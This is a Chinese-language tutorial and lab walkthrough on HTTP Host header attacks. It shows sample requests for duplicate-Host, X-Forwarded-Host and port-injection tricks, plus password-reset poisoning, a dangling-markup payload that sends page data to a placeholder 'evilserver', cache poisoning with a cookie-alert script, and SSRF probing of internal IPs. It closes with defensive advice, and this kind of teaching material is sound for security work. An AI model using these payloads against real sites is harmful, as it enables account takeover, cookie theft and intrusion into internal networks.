详解 HTTP Host 头攻击

admin 2022年9月9日11:23:49安全文章评论11 views7650字阅读25分30秒阅读模式

1. HTTP Host头攻击

从HTTP / 1.1开始,HTTP Host标头是必需的请求标头。它指定客户端要访问的域名。例如,当用户访问https://example.net/web-security时,其浏览器将组成一个包含Host标头的请求,如下所示:
GET /web-security HTTP/1.1
Host: example.net
在某些情况下,例如当请求由代理转发时,Host值可能会在到达预期的后端组件之前进行更改。也就发生了Host头攻击。
详解 HTTP Host 头攻击

2. HTTP Host头的作用

HTTP Host头的目的是帮助识别客户端要与之通信的后端组件。如果请求不包含Host头或者格式不正确,则在将传入请求的应用程序时可能会导致问题。
从历史上看,这种漏洞并不存在太大问题,因为每个IP地址只会被用于单个域的内容。如今,很大程度上是由于同一个IP上存在多个Web应用程序(不同端口,不同域名解析等),通常可以在同一IP地址访问多个网站和应用程序。这种方法的普及也部分是由于IPv4地址耗尽所致。
当可以通过同一IP地址访问多个应用程序时,最常见的原因是以下情况之一:

虚拟主机

单个Web服务器托管多个网站或应用程序。这可能是具有单个所有者的多个网站,但是也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享一个公共IP地址。

通过代理路由流量

网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都通过代理系统进行路由。这可能是一个简单的负载平衡设备或某种反向代理服务器。在客户通过内容分发网络(CDN)访问网站的情况下,这种设置尤其普遍。
在上面两种种情况下,即使网站托管在单独的后端服务器上,它们的所有域名也都解析为中间组件的单个IP地址。这带来了与虚拟主机相同的问题,因为反向代理或负载平衡需要知道每个请求到的哪个后端上。
HTTP Host头的作用就在于,指定请求应该发送到那个应用程序的后端服务器上。打个比方,一封信需要送到居住在公寓楼中的某人手中,整个公寓有许多房间,每个房间都可以接受信件,通过指定房间号和收件人(也就是HTTP Host头)来将信封送到指定的人手中。

3. 什么是HTTP Host头攻击

一些网站以不安全的方式处理Host头的值。如果服务器直接信任Host头,未校验它的合法性,则攻击者可能能够使用此可控变量来注入Host,以操纵服务器端的行为。
现成的Web应用程序通常不知道将它们部署在哪个域上,除非在安装过程中在配置文件中手动指定了该域。例如,当他们需要知道当前域以生成电子邮件中包含的绝对URL时,他们可能依赖于Host头中的值:
<a href="https://_SERVER['HOST']/support">联系支持</a>
Host头值还可以用于不同网站系统之间的各种交互。
由于Host头实际上是用户可控制的,因此这种做法可能导致许多问题。如果未校验或者直接使用Host头,则Host头可以与一系列其他漏洞“组合拳”攻击,比如:
  • 缓存投毒
  • 特殊业务功能的逻辑漏洞
  • 基于路由的SSRF
  • 经典服务端漏洞,如SQL注入(当Host被用于SQL语句时)等

4. 如何发掘HTTP Host头攻击

首先要判断服务端是否检测Host头?检测完了是否还使用Host头的值?
通过修改Host的值,如果服务端返回错误信息:
详解 HTTP Host 头攻击

则说明服务端检测了Host的内容。至于有没有使用Host头的值,有以下几种方法去发掘:

修改Host值

简单的来说,可以修改HTTP头中的Host值,如果观察到响应包中含有修改后的值,说明存在漏洞。
但有时候篡改Host头的值会导致无法访问Web应用程序,从而导致“无效主机头”的错误信息,特别是通过CDN访问目标时会发生这种情况。

添加重复的Host头

添加重复的Host头,通常两个Host头之中有一个是有效的,可以理解为一个是确保请求正确地发送到目标服务器上;另一个则是传递payload到后端服务器中。
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff

使用绝对路径的URL

尽管许多请求通常在请求域上使用相对路径,但是也同时配置了绝对URL的请求。
GET https://vulnerable-website.com/ HTTP/1.1
Host: attack-stuff
有时候也可以尝试不同的协议,如HTTP或HTTPS。

添加缩进或换行

当一些站点block带有多个Host头的请求时,可以通过添加缩进字符的HTTP头来绕过:
GET /example HTTP/1.1
 Host: attack-stuff
Host: vulnerable-website.com

注入覆盖Host头的字段

与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff
诸如此类,还有其他的字段:
  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded

忽略端口仅校验域名

当修改、添加重复Host头被拦截的时候,可以尝试了解Web应用程序是怎样解析Host头的。
比如,一些解析算法会忽略Host头中的端口值,仅仅校验域名。这时候可以将Host修改为如下形式:
GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff
保持域名不变,修改端口值为非端口号的其他值(非数字), 将Host头攻击的payload放在端口值处,同样能进行Host头攻击。

5. HTTP Host头攻击漏洞示例

5.1 密码重置中毒

根据HTTP Host头攻击的攻击特点,它被广泛应用于密码重置中毒:攻击者可以操纵网站在重置密码情况下生成的密码重置链接,使其发送攻击者指定的域下,利用此来窃取重置任意用户密码的令牌。
详解 HTTP Host 头攻击

一个重设密码(忘记密码)功能的大致流程如下:
  • 1. 用户输入其用户名或电子邮件地址,然后提交密码重置请求。
  • 2. 该网站检查该用户是否存在,然后生成一个临时的、唯一的、复杂的令牌,该令牌与后端的用户帐户相关联。
  • 3. 该网站向用户发送一封电子邮件,其中包含用于重置其密码的链接。重置令牌的参数包含在相应的URL中:
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
  • 4. 当用户访问此URL时,网站将检查提供的令牌是否有效,并使用它来确定要重置哪个帐户。如果一切都符合,则可以进入用户重置密码步骤。最后,令牌被销毁。
以上步骤的安全性依赖于:只有目标用户才能访问其电子邮件,从而可以访问其唯一的令牌。
密码重置中毒是窃取此令牌以更改另一个用户密码的一种漏洞。
如果网站重置密码的流程完全依赖用户的可控输入(如HTTP Host头),这可能导致密码重置中毒:
  • 1. 攻击者获取受害者的用户名或者电子邮件,作为提交重置密码的请求,攻击者会拦截请求并修改HTTP Host头为其指定的域,如evil-user.net
  • 2. 受害者会收到一封重置密码的邮件,但由于攻击者修改了Host头,而web程序生成重置链接又完全依赖于Host头,导致生成以下URL:
https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
  • 3. 如果受害者点击了该链接,重置密码的令牌就会发送到攻击者的服务器 evil-user.net 上
  • 4. 当攻击者获取到虫子密码的令牌之后,就会进行相应的构造访问真实重置密码的URL进行密码重置。
5.1.1 密码重置中毒—基础
详细了解了上面的密码重置中毒的流程和原理之后,这里通过HTTP Host头攻击导致的基础的密码重置中毒来演示。
首先输入用户名或者用户的电子邮箱来重置指定用户的密码:
详解 HTTP Host 头攻击

提交之后,会发送一封重置密码的电子邮件到wiener用户的邮箱中(数据包如右图):
详解 HTTP Host 头攻击

注意重置密码的链接,可能是受Host头的值的影响?
我们来验证一下是否存在HTTP Host头攻击,修改Host头的值为 baidu.com:
详解 HTTP Host 头攻击
发现请求是可以被后端服务器接收的,所以是存在HTTP Host头攻击的。
这里就输入受害用户carlos进行重置密码,然后抓包将Host头的值改为我们自己的服务器:
详解 HTTP Host 头攻击

随即进入输入新密码的界面,密码重置中毒成功。
5.1.2 密码重置中毒—注入覆盖Host头的字段
有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行:
详解 HTTP Host 头攻击
可以尝试使用与Host头功能相同的HTTP字段,如X-Forwarded-Host、X-Forwarded-For等,可以进行Fuzz:
详解 HTTP Host 头攻击
实际上他能够被 X-Forwarded-Host 字段影响,导致Host头攻击,当同时添加多个字段使请求被拦截时,可以尝试类似排除法、二分法来排查哪个字段有效。
对受害用户carlos进行密码重置投毒:
详解 HTTP Host 头攻击
然后构造链接即可:
https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h

详解 HTTP Host 头攻击
5.1.3 重置密码中毒—Dangling Markup技术
首先简单介绍一下 Dangling Markup技术:
Dangling markup技术
Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用。其思想是插入一些未完成状态的部分HTML,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。
例如,我们在反射型XSS注入点上注入这样一个img标签:
<img src="https://evilserver/?
则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。
关于 Dangling Markup技术 的实战意义可以参考博主之前的文章:绕过CSP之Dangling markup技术
(https://blog.csdn.net/angry_program/article/details/106441323)
什么时候可以使用 Dangling Markup技术 呢?与我们这篇文章的主题有什么关系呢?
我们直接进入主题,当输入需要重置密码的用户名后,该用户的邮箱内会收到如下邮箱:
详解 HTTP Host 头攻击
有一个跳转到登录界面的链接,后面紧接着重置之后的随机密码。
此时考虑一下,该链接是否是从Host头取值而来?只要这个值可控,那么就可以利用Host头攻击实施 Dangling Markup攻击,包含住链接后面紧跟着的密码,再结合Host头攻击将请求指定到攻击者服务器上。一个漫天过海的窃取行为就完成了。
第一步,寻找Host头攻击点:
通过Fuzz,可发现Host头攻击类型为 忽略端口仅校验域名。即服务端在校验Host域的时候,仅校验了域名,忽略了后面的端口号,造成端口值可控(可以是数字或字符):
详解 HTTP Host 头攻击
详解 HTTP Host 头攻击

通过在Host头的端口中注入payload,依旧可以实现Host头攻击。
第二步,借助可控变量 Host:ip:port 来实施 Dangling Markup技术,从而将后面的密码外带到攻击者服务器上:
注意,需要闭合此处的双引号出去,经过尝试,输入单引号时,服务端会自动转为双引号,故这里通过单引号将双引号闭合,然后添加自定的<a href=xxx.attack-domain>标签将密码外带:
详解 HTTP Host 头攻击

原本的正常HTML是这样的:
详解 HTTP Host 头攻击

通过  Dangling Markup技术 在<a>标签的链接中注入? 符,使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上:
详解 HTTP Host 头攻击

这也是 Dangling Markup技术 的精髓所在,该技术的核心点在于:
可控变量后面是否接着需要窃取的关键数据(包括Token、密码等)
在攻击者服务器上可以看到被Host头攻击转发上来的请求,里面成功窃取了受害者重置后的密码:
详解 HTTP Host 头攻击

5.2 Host头攻击+缓存投毒

当存在Host头攻击的web站点不存在密码重置的功能的时候,此时该漏洞就显得没有影响,因为不可能驱使用户去抓包修改Host头,辅助攻击者完成一系列的攻击。
但是,如果目标站点使用Web缓存,则可以通过缓存投毒给其他用户提供带有病毒的缓存响应。此时的Host头攻击漏洞转变为类似XSS存储型类的漏洞。要构造Web缓存投毒攻击:
  • 1. 需要寻找映射到其他用户请求的缓存键;
  • 2. 下一步则是缓存此恶意响应;
  • 3. 然后,此恶意缓存将提供给尝试访问受影响页面的所有用户。
第一步,寻找Host头攻击点:
通过对站点的主页添加重复的Host值,可以达到覆盖的效果,并验证存在Host头攻击:
详解 HTTP Host 头攻击

第二步,寻找是否使用了Web缓存?缓存键是什么?
从上图中也可以发现,站点使用了Wen缓存功能,并且配合Host头攻击,可以缓存 /resources/js/tracking.js 资源文件。
第三步,在攻击者服务器上创建一个同名的 /resources/js/tracking.js 资源文件,内容为:
alert(document.cookie);
然后通过Host头注入攻击者服务器域名,可以看到在响应中正确地对应了我们的 /resources/js/tracking.js 资源文件:
详解 HTTP Host 头攻击

发送多次请求,使该请求的响应变为缓存:
详解 HTTP Host 头攻击

当其他用户请求站点主页时,服务端就会提供该恶意缓存给用户,造成缓存投毒。

5.3 Host头攻击绕过访问控制

出于安全考虑,通常网站对某些功能的访问限制为内部用户使用。但是通过Host头攻击一定可能上可以绕过这些限制。
对于一个站点,从发现Host头攻击到利用,下面来展示一个完整的流程:
第一步,访问主页,随意修改Host的值:
详解 HTTP Host 头攻击

注意,这里的Host的值不会出现响应包中,但是依然可能存在Host头攻击,因为响应依然成功,说明服务端没有对Host头做验证。
第二步,寻找敏感页面,通过 /robots.txt 知道 /admin 为做了访问控制的页面:
详解 HTTP Host 头攻击

可以错误信息提示,/admin 页面只允许本地用户访问。
第三步,将Host改为服务端内部地址,从而绕过IP访问控制:
详解 HTTP Host 头攻击

5.4 Host头攻击+SSRF

Host头攻击可能会导致基于路由的SSRF攻击,称为:Host SSRF Attack。
经典的SSRF攻击通常基于XXE或可利用的业务逻辑,将用户可控的URL作为HTTP请求发送;而基于路由的SSRF依赖于云部署的体系结构中,包括负载均衡和反向代理,这些中间件将请求分配发送到对应的后端服务器处理,如果服务端未校验Host头转发的请求,则攻击者可能会将请求发送(重定向)到体系中的任意系统。
这可能需要知道内部系统的IP地址(私有地址),一般可以通过信息收集或者Fuzz来判断有效的私有IP地址(如枚举192.168.1.1/16)。
5.4.1 基础Host头攻击+SSRF
比如,普通方式访问不到 /admin 页面(404):
详解 HTTP Host 头攻击

猜测 /admin 存在于内网中,需要内网机器才能访问,但是配合Host头攻击+SSRF可以绕过并访问。
第一步,判断Host是否被使用,可用DNSLog外带
这里我使用Burp自带的 “Burp Collaborator client”  来实现外带:
详解 HTTP Host 头攻击

说明服务端是根据Host头的域名来请求资源的。
第二步,基于Host头的SSRF探测内网主机
假如一些敏感的页面(比如管理页面),深处于内网,外网无法访问,但是通过Host头攻击+SSRF可达到绕过访问控制,从而访问内网资产,这里Fuzz内网的IP的C段为192.168.0.0/24,直接利用Intruder枚举:
详解 HTTP Host 头攻击
详解 HTTP Host 头攻击

得到内网IP为192.168.0.240
第三步,访问内网资源
构造 /admin 页面,在Host处换位内网IP:
详解 HTTP Host 头攻击

5.4.2 Host头攻击+SSRF—使用绝对路径的URL
有时候服务端会校验Host头的值,如果Host被修改,服务端会拒绝一切修改过后的请求:
详解 HTTP Host 头攻击

普通请求通常在请求域上使用相对路径,但是,服务端也同时可能配置了绝对URL的请求,采用如下形式可绕过对Host的验证:
GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.1


详解 HTTP Host 头攻击

接着用 “Burp Collaborator client” 进行外带:
详解 HTTP Host 头攻击

外带成功,说明Host头被服务端使用来向指定域名请求资源,直接SSRF爆破内网:
详解 HTTP Host 头攻击

访问内网页面:
详解 HTTP Host 头攻击

6. HTTP Host头攻击防护

最简单的方法是避免在服务器端代码中完全使用Host头,可以只使用相对URL。
其他方法包括:

6.1 正确配置绝对域名URL

当必须使用绝对域名URL时,应在配置文件中手动指定当前域的URL,并引用配置的值,而不是从HTTP的Host头中获取。这种方法可防止密码重置的缓存投毒。

6.2 白名单校验Host头的域

如果必须使用Host头,需要正确校验它的合法性。这包括允许的域,并使用白名单校验它,以及拒绝或重定向对无法识别的主机请求。这包括但不仅限于单个web应用程序、负载均衡以及反向代理设备上。

6.3 不支持主机头覆盖

确保不适用与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。
值得一提的是,不应该将内网使用的Host主机(不出网)与公网的应用程序托管在同一个服务器上,否则攻击者可能会操纵Host头来访问内部域。
作者:angry_program
来源:blog.csdn.net/angry_program/article/details/109034421
侵权请私聊公众号删文

 热文推荐  


欢迎关注LemonSec
觉得不错点个“赞”、“在看”

原文始发于微信公众号(LemonSec):详解 HTTP Host 头攻击

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月9日11:23:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  详解 HTTP Host 头攻击 http://cn-sec.com/archives/1287476.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: